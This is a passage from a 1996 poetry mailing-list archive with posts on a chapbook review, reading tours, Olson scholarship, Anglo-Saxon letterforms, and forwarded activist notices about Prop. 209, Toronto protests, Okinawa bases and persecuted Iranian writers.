But don't let reviewistic portentousness obscure the reader's sense of the author's humor, wit & style. Her balance of faith/irony is mirrored in a genuine balance of style/material. Many are the poets on the one hand who pour out lugubrious documentary/personal rants; many on the other who are smothered in style: meaningless sound, arbitrary syntax, put-on artiness. Few like Prevallet manage to balance the logic of the theme with the form of the poem. This poem is structured in two columns, divided by the spine of the pamphlet (the "spine" itself becoming a Dantesque symbol of the cosmic-human book of life).

On the left hand, the narrator speaks, in a voice which modulates between the oracular & the personal/ demotic. On the right hand, quotations, documentary evidence, which "comment" on the text (& vice versa). I can't replicate this format here, but will provide a couple of excerpts. The poem opens as follows:

[on left side, lines flush to left margin:]

Often there is a star
comes down from the blue
and lands in the deepest part
where a heart and the flesh
that beats it out
in a trickle of daylight and ash
does conspire to hold
all flying things "sacred"
as bombs and Eros
collide with the same surface
and mark their intent
with an obliteration
elemental as fire
but not as blood-soaked-through
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not of faith but of what faith has become
now that the object of sacrifice
is not fit for the faint of heart
because it is real.

[on the right hand side:]

When Comet Hyakutake
streaked close to earth last week,
a German scientific spacecraft made a
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puzzled astrophysicists. The
comet was emitting X-rays
in a crescent pattern on
its sunward side. (1)

The dead, 13 adults
and 3 small children, were found
in a circle around the remains of a
campfire, laid out on the bare
ground in a sunburst pattern.(2)

[all the sources are footnoted]

This is the first page. The poem moves into a contemplation of global/ apocalyptic reality; there is an American sense of the steep folly & intense absurdity of religious enthusiasm yoked to an understanding of faith as a conceptual necessity. There is an underlining of sacrifice and mob violence at the roots of social organization which draws perhaps on the anthropology of Rene Girard. The news clips & funny/weird ritual/astronomical information give the poem a paradoxical realism. The poem's title refers to materials in painter Anselm Kiefer's massive "Angel of History", a sculpture-painting of a huge corroded bomber (now in the D.C. National Gallery) which expresses a parallel sense of apocalyptic/historical doom & pathos. Yet the poem ends on a note of survival-through-understanding which is the conceptual motor of the work's entirety.

All and all, this reporter is energized by the poem's combined breadth of vision & concise, unpretentious style. I'd like to quote more but maybe somebody else will. Get ahold of this little gem of an atmospheric anomaly radar consternation. Oh, by the way - the Martians have landed in New Jersey. Stay tuned. - Henry Gould

↑ Index

153. **Charles Alexander**
lake sounds
Sat 9 Nov 1996

With the interest here in Sun Ra & other things musical, I thought people might want to know that Oliver Lake is on a tour, right now in the desert southwest here, doing solo concert, titled The Matador of 1st & 1st. I heard him last night here in Tucson, and it was marvelous. Sweet & hard & biting & funny & more, both musical & verbal. Not to be missed.

charles alexander
chax press
[redacted]

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

↑ Index

154. **Gabrielle Welford**

CAN-RW digest 263 (fwd)

Sat 9 Nov 1996

Many of you must know this already. But I send it for those who don't. gab.

> *From: Roy Rodriguez <[redacted]>*
>
> *Subject: Students Takeover Berkeley Tower (fwd)*
> *La Voz de Berkeley Newswire*
> *November 5, 1996*
> ****

administration. They, in fact, demand that the University administration not comply with the provisions outlined by the new law.

The occupation is intended to go on until negotiations with the University take place. For more information on the occupation, please contact [redacted] *or* [redacted]*.*

UPDATE: Students continue to occupy the campanile tower at UC Berkeley.

It is now 3:00 AM, Thursday, November 7, 1996. The takeover will be the focus of campus organizing in an effort to cultivate future plans against the implementation of Prop. 209.

About eighty students and community members are camping out on the campanile tower to secure the occupation. Many are studying by candlelight.

Updates are on the way.

Note: membership to the campanile_takeover listserve is temporary. Please resond only to [redacted] *for more information.*

****

Message from the Tower.....

The Campanile Tower is a symbol representing the University, and the Ivory Tower of elitism and exclusionism. Our occupation defies the passage of Proposition 209. Our occupation is an act of resistance and reclamation. We will occupy the tower until our demands are met or otherwise. In addition to our occupation we have made a commitment to fast, in order to purify our bodies and strengthen our spirits. Representation of people of color on the UC campuses will decline by 50 to 70 percent as a result of Proposition 209 being implemented. (figures from the UC Office of the President) If the University decides to comply with 209 they will essentially be locking us out. This occupation represents us taking back our right to education.

We are also occupying the Campanile, which stands on top of Ohlone land, because inside the bones of these peoples are stored, our ancestors. It seems that the University only wants our people when we are dead and not when we are alive. We demand respect for the land and its peoples. Our treaties have been broken and violated, and the genocide continues.

It is time for uprise, we are occupying the Campanile Tower in a political and spiritual sense, the same was our people have always defended and protected our land, human rights, respect, and dignity!!! Listen to our demands and comply. The time is NOW!

We as the UC BERKELEY CAMPUS COALITION OF STUDENTS AGAINST 209 demand:

1) We demand that the University of California NOT COMPLY with the

reactionary, regressive 209.

2) We need to answer back to the lawmakers, to the captains of finance, to the UC Regents, to Governor Pete Wilson, to the State of California, and to the nation that THIS MUST STOP!

3) We claim this campus as our own, as our property, as students at a state university, as residents of California, we say no to exclusion, removal, and forced exit of women and people of color.

4) We demand that the electorate, which represents only a small portion of all eligible voters in California, be accountable to all the residents of California.

5) We DEMAND funding for Education - Schools, NOT prisons, should be a priority! What does it tell you that the prison industry is the fastest growing California industry?

6) We DEMAND that Chancellor Tien, and all the UC Chancellors openly RESIST the implementation of Prop. 209.

7) We DEMAND the end of the war on poor people.

8) We DEMAND an Ethnic Studies requirement for all high school and transfer students applicants.

9) We DEMAND a firm commitment to promote diversity through existing outreach programs.

10) We DEMAND a say in who will succeed Chancellor Tien.

11) We DEMAND increased student representation on the Board of Regents of the University of California, with equal voting power as other members.

12) We DEMAND a live TV and radio broadcast interview with student coalition members.

13) We DEMAND that all people in California realize the urgency in attempting to form a just, society based in equality and reality - that the only hope for the future of California in the upcoming millennium is that all peoples receive equal opportunity, or the crumbling, smashing and burning of an unjust, sexist and racist society. This is only the beginning.

If, we as AMERICANS plan together to live in one society, as a unified body of people, all people need to be guaranteed civil rights. Or...suffer the consequences of people uprising. IT WILL HAPPEN HERE!

> **********
> *La Voz de Berkeley Newswire*
> *http://server.berkeley.edu/MEChA/LaVoz.html*
> [redacted]
> **********

End of CAN-RW Digest 263
****

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155. **Loss Glazier**
Re: John Kinsella
Sat 9 Nov 1996

At 09:28 AM 11/9/96 -0700, you wrote:
>I dont have the venues, except for the University of Calgary, University of
>Alberta, and University of Northern British Columbia, but Kinsella will be
>in Buffalo Nov 7; Burlington Nov 8-9; Boston Nov 13; Portland Nov 15;
>Newark Nov 21; San Francisco Nov 23; Newark (New York?) Nov 24; ...

There is a Newark, California, down near the San Jose end of the SF Bay
though it's never been much of a spot for poetry...

```
-----------------------------------------------------
|        Loss Glazier <[redacted]>      |
-----------------------------------------------------
```

↑ Index

156. **Gabrielle Welford**
Polite Protests my * (fwd)***
Sun 10 Nov 1996

I jealous! Where on earth are we? gab.

---------- Forwarded message ----------
Date: Fri, 8 Nov 1996 08:59:46 -1000
From: Vicky Smallman <[redacted]>

Wow, I was just handed a copy of the October 26 New York Times article on the Metro Days of Action, a huge political demonstration/general strike that we had here in Metro Toronto on October 22nd to 27th. I just had to post because the picture in the article is of the Education Rally that I helped organize!

The week-long series of protests against the regressive policies of our neo-conservative provincial government, who are systematically dismantling our social safety net, was organized by a coalition of labour and social justice organizations, including the Canadian Federation of Students (the lobby group I'm chairing at the moment. Diss? What Diss?). The week culminated in a city-wide shutdown on Friday Oct 25 and a massive march and rally on October 26th. The shutdown was highly successful--we managed to shut down our public transit system (I'm still recovering from the 3am picket) in spite of threats of litigation and an injunction by the Toronto Transit Commission, as well as postal service, garbage and other municipal services, the food terminal, the provincial legislature and government offices and buildings. There were several rallies on Friday, including a large rally at the Toronto Stock Exchange and an even larger (20,000) rally at the Ministry of Education and Training (hosted by yours truly). It was a really exciting day--very festive spirit, despite the anger and frustration felt by many in this community. The Saturday march was incredible. Although there are conflicts over the numbers, well over 200,000 attended what was probably the largest political demonstration in Canadian history.

I could go on, if you so desire. The NY Times article is quite goofy--it goes on about how odd it is that Canadians are standing up for themselves. I guess they forgot that this is the fifth in a series of rotating general strikes in Ontario.... Yes, it was peaceful. That's the point. The real violence is being committed by our provincial government, who have decimated our health care system, slashed welfare funding, closed women's shelters, hospitals and child care facilities, removed access to transit for persons with disabilities, laid off thousands of government employees, gutted labour legislation and our employment equity legislation, cut funding to education at all levels, hiked tuition 20%, eliminated child care bursaries for students---and given a 30% tax cut to their privileged golfing buddies. And they are certainly not done yet. Environmental deregulation, privatization of our health care and education systems, and other fun stuff is still on the way. This is an interesting place to live these days. While it was amazing to be part of such an historic protest, I certainly wish that it didn't have to be this way.

Your own shameless agitator,
Vicky Smallman
mcmaster university / canadian federation of students

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157. **Gabrielle Welford**

Re: ANALYSIS OF THE U.S. POSITION ON THE DRAFT DECLARATION (fwd)

Sun 10 Nov 1996

---------- Forwarded message ----------
Date: Fri, 8 Nov 1996 15:27:28 -1000
From: Julia Estrella <[redacted]>

I remember that your e-mail network was very extensive when you mailed me info about action alerts. Do you think you can send the following information to your network and ask each person to send to their respective networks? If everyone does so, we hope that this message can go in ripple effect form to at least a million people who will e-mail me back with permission to use their names for our petition. Here goes. Thanks. Julia Estrella

One Million Signatures in Solidarity with the Okinawan People

Nongovernmental organizations (NGO's) in Japan and the Okinawa Peace and Environmental Network (OPEN), based in Hawaii, request your name on this petition in support of the Okinawan People's desire for the removal of U.S. bases in Okinawa. As we receive the names, we will forward the signatures to President Clinton and Prime Minister Hashimoto and other appropriate governmental representatives of U.S. and Japan.

--- ---

WHEREAS, the rape of a 12 year old schoolgirl on September 4, 1995,by two U.S. marines based in Okinawa triggered the pent-up anger of Okinawans over thousands of crimes committed by U.S. military personnel over the past decade;

WHEREAS, 89.89% of Okinawans wnt a reduction of U.S. military bases (Sept. 8, 1996 referendum);

WHEREAS, Okinawa was forcibly annexed by Japan in 1879 and, as a colony of Japan, has been hosting a disporportionate share of U.S. military bases in Japan (i.e., 75% of the land which U.S. forces occupy in Japan is on Okinawa despite the fact that Okinawa represents only 0.6% of total land base of Japan);

WHEREAS, the recent Japan Supreme Court ruling forcing Okinawa to submit to
the government's forced lease of private land
for U.S. bases indicates that Okinawa's property rights are worthless and is another example of Japan's mistreat-
ment of Okinawans;

WHEREAS, Pres. Clinton and Prime Minister Hashimoto of Japan met in September and talked about closing Futenma Air Base but only if another site can be found in Japan. Since no other site can be found, U.S./Japan are now planning for an offshore heliport in Okinawa which will further degrade the Okinawan bay environments;

WHEREAS, Okinawa is the only place where even enemy soldiers are commemorated in its Peace Park: 14,000 U.S. soldiers, 90,000 Japanese soldiers; and 150,000 Okinawan civilians (approx. l/4 of entire population). Each name is engraved on peace walls.

THEREFORE, WE THE UNDERSIGNED, REQUEST THE GOVERNMENTS OF THE UNITED STATES AND JAPAN TO HONOR THE WISHES OF THE OKINAWAN PEOPLE FOR REMOVAL OF U.S. BASES FROM ITS LAND AND SUPPORT OKINAWA BECOMING A MODEL OF ENVIRONMENTALLY SOUND AND SELF-SUSTAINING TECHNOLOGY AND ECONOMY.

****
****

Please mail as many names to: OPEN, 1918 University Ave., Honolulu. HI 96822; or e-mail to [redacted] or
FAX to [redacted] or FAX to
Toiko Furusho: 011-81-425-92-3806 (Japan)
(Every name will be one more towards our goal of one million. THANK YOU.)

Print Name Legibly Print Mailing Address/zip code/country Print E-mail address or Fax Number

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↑ Index

158. F.A. Templeton
SPD
Sun 10 Nov 1996

Please backchannel re an e-mail/net address for SPD. Thanks.

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159. Romana Christina Huk
Re: John Kinsella
Sun 10 Nov 1996

John Kinsella will also be spending Nov. 14th here at the University of New Hampshire, giving a lecture on "Hybridity" at 12:30 p.m. and a reading at 5:00 p.m. The lecture will be in the Faculty Lounge of the English Department, Hamilton Smith Hall (all are welcome), and the reading will be in the Forum Room of Dimond Library (both buildings are just off Main Street in Durham; heart of the campus).

If anyone on the line thinks they might make it, do let me know whether you'd enjoy coming along for drinks and dinner after the reading; you'd be welcome. Romana Huk (tel: [redacted]; fax: [redacted])

↑ Index

160. Romana Christina Huk
Re: South African
Sun 10 Nov 1996

That was John Higgins from South Africa; backchannel, Louis, if you want an address -- Romana

On Fri, 8 Nov 1996, Louis Cabri wrote:

> *There was a friend of Tom Raworth's from South Africa at the New Hampshire conference -- does anyone know his name?*
> *Good to ghosts,*
> *Louis*

↑ Index

161. Mark Roberts
Re: John Kinsella
Sun 10 Nov 1996

As you are probably aware Australian Writing On Line puts out a monthly listing of Australian writing events both around Australia and internationally. I will be putting together a listing of John Kinsella's readings and uploading them to the AWOl website (under 'Happenings' 'late breaking news') during the next day or so. If you have any other Kinsella sightings please forward them to [redacted] and I will be happy to add them.

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

↑ Index

162. Peter Quartermain
Re: SPD
Sun 10 Nov 1996

Dear Fiona Templeton:
The address you want is:

[redacted]

My usual contact there is Peter Dickison.

Peter

At 11:38 AM 11/10/96 +0000, you wrote:
>Please backchannel re an e-mail/net address for SPD. Thanks.
>
>
+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ + + +

looked at how Maximus wasn't all that neatly reducible to the pronouncements of "Projective Verse," but also attended to some crucial Olson valuations of writing (+) versus voice (-). As I (mis?) recall, Steve was claiming, therefore, some crucial and surprising affinities. I remember trying to bring up the Derrida stuff on a "good writing" which is, basically, a transparent transcription of a good speech, or of a language of gesture prior to (quasi-fallen) speech--I think I thought Steve was arguing that the praise of writing in Olson was to put it baldly anti-logocentric, and I think I was trying to suggest by contrast that there could be a praise of writing which nevertheless amounted to a praise of voice and speech. But at any rate the piece was a real awakener. Probably it's been pubished and everyone (but me) has read the published version. But if not maybe Steve (hello?!?) can provide some bibliographic info and/or say more?

hellos to all mentioned (and unmentioned)!

Tenney

> *Date: Thu, 31 Oct 1996 13:42:01 -0500 (EST)*
> *From:* [redacted]
> *To: Poetics List <*[redacted]*>*
> *Subject: Mor(e).on.mla*
>
> *Alan Golding*
> *Prof. of English, Univ. of Louisville*
> [redacted]*;* [redacted]
>
> *For my sins, I'm also speaking on an Olson panel, Mon. 12/30, 10:15, symbolically numbered 666 in the program. I'm to talk about "Olson and Language Writing. " This seemed like a real good idea at the time I committed to do it, and it's one of those things (most of us probably have them) that I always felt like I'd have to write on some day--the complex and conflicted relationships between the poet who's meant about as much to me as any poet I've read and later writers who also have meant and do mean a lot to me. So, not surprisingly, I now feel like I have nothing to say. Or at least I want to go beyond rehashing all the "I Hate Speech" stuff to address other aspects of what Ron Silliman so nicely calls this "break within a tradition in the name of its own higher values."*
>
> *I'd love to hear what any of you have to say on Olson and LP if you feel inclined. Ideas for references, etc. (Someone else is "doing" Olson & Howe)*
>
> ----------

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167. George Bowering
Re: South African
Mon 11 Nov 1996

> *honestly, after a couple of drinks, i hear you're offering dildos and a look at your french postcards to anyone, not to mention talk of etchings in your hotel room...*
> *e*

Yeah, but here's the difference between me and Tom Raworth. He might SHOW you some etchings in his room, but you come to my room, and I MAKE some etchings.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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168. Jonathan A Levin
Re: Olson stuff
Mon 11 Nov 1996

Alan,

I hadn't thought of this when you said Olson and Language pomes, but Tenney N's post reminded me of Joe Riddel's terrific essay, "Decentering the Image: The 'Project' of 'American' Poetics?" It's in Harari's Textual Strategies. Tough going in places, because he's weaving so many traditions together in it, but the piece has some very useful insights into Olson. It's a shame Joe never did a book on Olson, because he was great on him in class. Here's a typical bit: "Like Pound, Olson appeals to the archeological metaphor, but the archeologist does not presume to recuperate presence. Rather, in his re-search of method, he seeks that cutting edge, the 'way' to cut a path and not some path to follow. He seeks the disruptive, productive tool of writing." Looking over it, I'm struck by how much of Riddel's poetics is stitched together here. Odd to say, I hear his voice in these lines. He was always digging around like this with his words, with a gleam in his eyes. Well, hope that's useful, Alan--see you in D.C.

By the way, the panel on "Poetry in the Curriculum" (Alan's other panel, where he'll be appearing, as he said, along with Bob Perelman) also includes Harriet

Davidson (on poetry as witness) and Kevin Dettmar (on the pedagogical uses of poetry hoaxes). Hope to meet some of you there.

Jonathan Levin

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169. **maria damon**
Re: Olson stuff
Mon 11 Nov 1996

---

j levin writes:
> Alan,
>
> I hadn't thought of this when you said Olson and Language pomes, but
> Tenney N's post reminded me of Joe Riddel's terrific essay, "Decentering
> the Image: The 'Project' of 'American' Poetics?" It's in Harari's Textual
> Strategies. Tough going in places, because he's weaving so many
> traditions together in it, but the piece has some very useful insights
> into Olson. It's a shame Joe never did a book on Olson, because he was
> great on him in class. Here's a typical bit: "Like Pound, Olson appeals
> to the archeological metaphor, but the archeologist does not presume to
> recuperate presence. Rather, in his re-search of method, he seeks that
> cutting edge, the 'way' to cut a path and not some path to follow. He
> seeks the disruptive, productive tool of writing."

now this passage reminds me of that section of derrida's "the writing lesson," where he talks of the path cut thru the jungle by ITT for making telegraph lines...that this is a form (if i read him right) of writing, as is the design on tribal pottery that predates the arrival of the European. of course, in pound, olson and ITT, there is, in addition to the excitement of the pathfinder, more than a hint of imperialism?
>
> By the way, the panel on "Poetry in the Curriculum" (Alan's other panel,
> where he'll be appearing, as he said, along with Bob Perelman) also
> includes Harriet Davidson (on poetry as witness) and Kevin Dettmar (on the
> pedagogical uses of poetry hoaxes). Hope to meet some of you there.

i hope to get to this one tho as i've sd i'll be trapped in a search committee; i'm still trying to circulate my concept of "micropoetries" as a pedagogical instrument; joe harrington, how did your assignment go? md
>
> Jonathan Levin

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170. Robert Drake
Re: In Case of..
Mon 11 Nov 1996

since we've had a number of requests for individual e-addresses lately, its worth reminding that you can get a copy the names & addresses of all Poetics list subscribers by sending a message to:

[redacted]

with the single line in the body:

review poetics

its always interesting to me to see who-all is listening, besides being useful...

luigi

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171. Mary Hilton
Kristin Prevallet's "Lead Glass and Poppy"
Mon 11 Nov 1996

A big thanks to Henry for his wonderful review of Kristin's book, and for Joe and Pierre's comments as well. Kristin's work makes you feel and think at the same time -- no small feat. For those who requested it, here is information again on how to order this and other primitive chapbooks:

primitive publications produces approximately six chapbooks a year, focusing on present-day writing based on historical text, language or subject. Cost of one chapbook is $4.00, or $20.00 for a subscription of six. Other titles include:

The History of the State May Last, 1616, by Mary Hilton
The Haunted Baronet, by Mark Wallace

All checks may be made payable to Mary Hilton and mailed to:

primitive publications c/o Mary Hilton
1706 U Street, NW, #102
Washington, DC 20009
e-mail: [redacted] *or* [redacted]

Inquires, submissions or requests to be included on the mailing list are welcome. Thank you.

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172. maria damon
Re: In Case of..
Mon 11 Nov 1996

In message <[redacted]> Robert Drake writes:
> since we've had a number of requests for individual e-addresses
> lately, its worth reminding that you can get a copy the names &
> addresses of all Poetics list subscribers by sending a message to:
>
> [redacted]
>
> with the single line in the body:
>
> review poetics
>
> its always interesting to me to see who-all is listening, besides
> being useful...
>
> luigi

yes indeed; one member of my department told me he is monitoring my posts and is "keeping a file" on me. --md

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173. Charles Alexander
The not Ye
Mon 11 Nov 1996

Dear Poetics List:

I thought this was interesting enough to forward from a book arts list to this poetics list. Language history, and the history of letter forms as well as some of their complications, may be one thing that unites these two lists.

all best,

charles alexander

> *Date: Mon, 11 Nov 1996 09:10:30 +0000*
> *Reply-To:* [redacted]
> *Sender: "The Book Arts: binding, typography, collecting"*
> *<*[redacted]*>*
> *From: "J.S.FARLEY" <*[redacted]*>*
> *Subject: The not Ye*
> *X-To: Ron Koster <*[redacted]*>*
> *To: Multiple recipients of list BOOK_ARTS-L*
> *<*[redacted]*>*

Wes thu Ron hal! (see below)

Sorry, Its a bit long
I hope the following pics work out....

The Anglo-Saxon Alphabet consisted of the following:

A <Ash> B C D <Eth> E F G H I L M N O <OEs ?> P R S T <Thorn> U W X Y

I think THE NAME "OEs" is correct but I am not sure

Ash was the a-e dipthong and was pronounced 'a' as in "Ash"

Eth was a 'd' with a line through it, and constituted the hard "Zth"
sound :

```
   *
   *      *****
 *******    *   *
   *      *    *
 ****    ******* *
*  *      *    *
*  *      *   *
 ****      *****
```

Oes was the o-e dipthong and was pronounced 'o' as in "Ox"

Thorn (A carry over from the Runic form of writing) was pronounced "th"
as in "Thing":

```
 *        **  ***
 *        * ** **
 ****      **    **
 *  *     **    **
 *  *     **    **
 ****      **   **
 *        ** ****
 *        ***      (sorry this is the best I can do for the Cap)
         **
          **
```

```
          **
           **
```

As we progressed into the middle ages, the capital thorn began to look more and more like a 'Y' with the top joined up, until the generally illiterate typesetters (who could not appreciate the phonetic difference confused the two) could not tell the difference, thus producing some books with "Ye" instead of "<thorn>e".

'S' was drawn two ways:

```
   ***       ***
  *   *     *
  *         ***
  *           *
  *         ***
```

'W' was sometimes drawn:

```
  ****
  *   *
  *   *
  * *
  * *
  **
  *
  *
  *
```

(again from the runic)

The runic 'W' was dropped about the time printing came along because of its being confused with 'P'

There was no 'Q', this sound was produced by combining 'C' and 'W' thus "Queen" was "Cwen"

the "SH" sound was spelt "SC", thus "Scyld Sceving" in Beowulf should be pronounced "Shuld Sheeving"

'Y' had a sound like the "U" in the French "Tu", so could not be used to pronounce "Yee"

'G' had two sounds, the hard 'G' of "Gun" and the 'y' sound of "Year"

That's about it for the letters.

> *The Anglo-Saxons worked in threes, they had three Genders: Masculine, Feminine and Neuter, but more fascinating is that they had three defined quantities: one, two and lots. So:*
>
> *the A-S greeting "Be complete" was dependant upon the quantity:*
>
> *Wes thu hal = Be you complete*
>
> *Wes Git hal = Be the two of you complete*
>
> *Wes Ge hal = Be all of you complete (this is the nearest to "ye" and was pronounced more like "Yay")*
>
> *This eventually became confusing to the Viking settlers, and so it was reduced to "Wes hal" from where we get Wassailing, an the ritual of "Wassailing the apple trees".*
>
> *I think thats it, hope it is of use.*
>
> *Jon*

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

↑ Index

174. **Bob Holman**

Re: POETICS Digest - 9 Nov 1996 to 10 Nov 1996

Mon 11 Nov 1996

Dear Poets,

Call for poems with "science" "theme" for posting on OMNI magazine's Web site in January. Send your own, or turn me on to your favorites.

Sonnet-length or under (so much for the "infinite possibilities" of the internet -- seems like 200 words and non-scrolling is the rule) --

"Science themes" include philosophical glass of water musings, hard-edged global tectonic theories, and the answer to which way the fossil footprints on the Bering Straits point.

Billed as a Slam, it will be non-competitive. Pay is 50 bucks. The OMNI site is heavily trafficked; poems will be up for a month. A photo and bio will eventually be needed.

Write Now! Deadline is Nov. 22.

Bob Holman

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175. **Dan Machlin**

Re: John Kinsella Reading in New York City

Mon 11 Nov 1996

As an addition to Douglas Barbour's welcome note on John Kinsella the other day I just wanted to remind that he will be reading with our own Charles Bernstein at The Segue Performance Space in NYC on Sunday, November 17. The Segue info again on the reading is:

JOHN KINSELLA, CHARLES BERNSTEIN
Sunday, November 17th, 7:00 p.m., Suggested $5.00
The Segue Performance Space
303 East 8th Street (Betw Aves B&C)
[redacted]
F train to 2nd Ave, L train to 14th and 1st, 6 train to Astor Place
Beer & Wine available for donation.

Here's a quote from a recent review of Kinsella's book Syzygy (Fremantle Arts Centre Press). The review is by Tim Liardet and was published in Poetry Wales. Syzygy is among those books collected in Kinsella's recently released The Undertow; New and Selected Poems (ARC 1996). Kinsella's work has been praised by such diverse sources as Lyn Hejinian and Harold Bloom. Here's from the Liardet review:

"Syzygy is certainly not ordinary. It is a forty-four page opus of strangely fragmentary individual pieces (with titles such as 'Reality'; 'Entropy/Flesh'; and 'The forest, the farm, a hybrid bathysphere') which against all the odds come together to form a remarkable, incoherent but cohesive whole...which begins in closely-wrought density, gradually sheds its inner tensions in the process of becoming broken-up and rarified, like the passage into the ether. This is clearly a poem -- or sequence of poems -- which understands and seeks to encapsulate the dislocation and the contrariety of consciousness; consciousness of itself being arbitrary and formless. The last four pages of the work offer as much the

white space of silence as they do the little islands of poetic gossip. The precise voluptuary language of the opening:

> ...O fear ripples evading
> sonar buoys Blue Gum Lake
> receding as bores suck effluent
> from beneath the arses of ducks

yields by degrees to the idiosyncratic fragments of the ending. This is a big poem, at times exquisitely worked, a very personal odyssey which just manages to prevent itself from degenerating into tricksiness in its progress towards its own denouement."

Please join us for what promises to be a great reading on the 17th, his only New York reading.

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176. Eryque Gleason
Re: OMNI web
Mon 11 Nov 1996

bob, could you post the url for the OMNI mag web site?

thanks,
eryque

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177. Robert Drake
Re: In Case of..
Mon 11 Nov 1996

> *he is monitoring my posts and is*
> *"keeping a file" on me.*

must be an ed sanders fan...

lbd

↑ Index

178. Aldon L. Nielsen
Re: Good Lake / Bad Lake
Mon 11 Nov 1996

Does anyone know the route of Oliver Lake's tour? He seems to be slowly working this direction -- but will he apopear anywhere near Denver or Boulder? Would love to see him again --

That's a form of new formalism I can endorse --

AND -- I see in the paper that Roscoe Mitchell's landmark _Sound_ is being reissued on CD -- It's a must --

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179. **Charles Alexander**
Re: Good Lake / Bad Lake
Mon 11 Nov 1996

At 02:16 PM 11/11/96 -0800, you wrote:
>Does anyone know the route of Oliver Lake's tour? He seems to be slowly
>working this direction -- but will he apopear anywhere near Denver or
>Boulder? Would love to see him again --

I don't know the route, but I believe a co-sponsor of the tour is the Western States Arts Foundation, and you might contact them in Santa Fe, or see if jazz presenting groups in your area who might be connected to them -- and that would be probably any jazz presenting groups -- are bringing Oliver there. The Tucson Jazz Society brought him to Tucson.

> *That's a form of new formalism I can endorse --*

me, too

> *AND -- I see in the paper that Roscoe Mitchell's landmark _Sound_ is being reissued on CD -- It's a must --*

Thank you for the information. Mitchell did a tour a couple of years ago, solo on many different reed instruments, and seeing him was an absolute highlight of my music listening life.

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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180. Eliza McGrand- CVA Guest
Re: OMNI web
Mon 11 Nov 1996

---

also, could you post the address one sends poems _to_!

hey, fifty bucks is fifty bucks!
e

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181. Joe Amato
great book on the university...
Mon 11 Nov 1996

---

those of you who are interested in (north american) 'higher' ed. and want to read something that'll likely put a serious twist in your take on same, check out

the university in ruins
by bill readings
oxford up: 1996

readings (a canadian) died in a plane crash in 1994 before his book was published... it's one of the most fascinating -- and accurate -- analyses of the contemporary university i've come across... briefly, readings describes the transformation of the university from a cultural institution to an institution that participates in the emerging transnational corporate structure... his is not a marxist analysis---he carefully disengages from the customary use of terms like "ideology" and the like... his gist is that the idea of culture was intimately tied to that of the nation-state, and that in the demise of the latter it is futile for the university to be criticized for not being sufficiently cultural (the critique from the right), just as it is futile to expect the institutionalization of cultural studies and multiculturalism to yield sufficiently radical transformation (the platform of the left) when in fact these latter are being incorporated into the system... where he goes as a result i won't attempt to summarize---and i'm not suggesting the book is not without its problems, though it's provocative as hell (and historically buttressed throughout)... his concluding chapters deal explicitly with teaching and community...

joe

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182. Pierre Joris
not-home
Mon 11 Nov 1996

meanwhile back not-home, here's some of what's happening -- Pierre:

IRAN: CONTINUED ARRESTS INSPIRE FEAR AMONG WRITERS

Continued arrests and several suspicious deaths of writers inspire fear among writers in Iran today, reports the Writers in Prison Committee (WiPC) of International PEN in an anniversary action. The action marks a year after Iranian translator Ahmad Miralai was found dead. After reportedly being detained by security forces on 24 October 1995 and taken to a hotel for questioning, Miralai's body was found with injection marks on it. A half empty bottle and cigarettes near the body led to suspicions that attempts were made to make it appear that Miralai, who had given up drinking, had been drinking in order to discredit him. Miralai was one of the 134 writers who signed a petition in October 1994 calling for greater freedom of expression. He had reportedly been called in for interrogation by security forces at least 20 times.

Miralai is not the only writer to die in suspicious circumstances in Iran in recent years, says WiPC, recalling that writer Ali- Akbar Saidi Sirjani died in prison on 27 November 1994 after being detained by agents of the Anti-Vice Department of the Revolutionary Prosecutor's Office on 14 March 1994 in Tehran. Similar accusations of drug and alcohol use were made against him as well.

In recent months, the harassment of writers has increased. State television has broadcast a programme denouncing writers in Iran and abroad called "The Identity", which presents allegations against writers and intellectuals. "Writers fear the programme is preparing the ground for further arrests," says WiPC, noting that "some writers have reportedly been approached by the security forces and threatened that aspects of their private lives will be exposed if they speak out about issues related to censorship." In August, security agents interrupted a dinner at the German cultural attache's house, where they reportedly separated Iranian writers from the other guests and filmed them.

WiPC says, "A climate of fear reigns among writers in Iran." In the last two months, writers have been prevented from travelling abroad. Others were briefly detained in Tehran and taken to Evin prison after a meeting to discuss the re-formation of a writers' association. The writers "were reportedly warned not to hold further meetings or publish the writers' association charter." Iranian authorities have banned the books of Iranian writers living abroad and their publishers have reportedly been threatened.

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183. Kevin Killian

San Francisco Events this week that I know about

Tue 12 Nov 1996

This is Kevin Killian. Hi everyone. Hope you're in San Francisco this week. Let me tell you about some events I know about here this week. =46irst of course I hope you can come to *my* reading, it'll be great, at Modern Times Bookstore on Thursday at 7:30. Modern Times is at 888 Valencia Street. I'm reading with Linda Smukler who's here from upstate New York reading from her new book "Home in Three Days. Don't Wash" (Hard Press). Hooray for Linda and too bad for me, *my* book was supposed to be ready by now but it's been delayed a week or so. More about this *epochal* event later when I have the book in my hands. Okay, so, see you on Thursday!

On Friday you already know about the "Premonitions" event at Small Press Traffic at 7:30 at New College (777 Valencia). You already know that Walter K. Lew. the editor of "Premonitions" will be here, together with Bay Area contributors Myung Mi Kim, Celine Salazar Parrenas and Ronald Tanaka. But luckily a 4th contributor has stepped forward to add to the lineup: Oakland's Patricia Ikeda-Nash, author of the now out-of-print volume of poems _House of Wood, House of Salt_ and other wonderful works, such as the "Zen Laundry" excerpt from her memoir-in-progress about life in Korean Buddhist monasteries, published in _Muae 1_. So don't miss this reading!

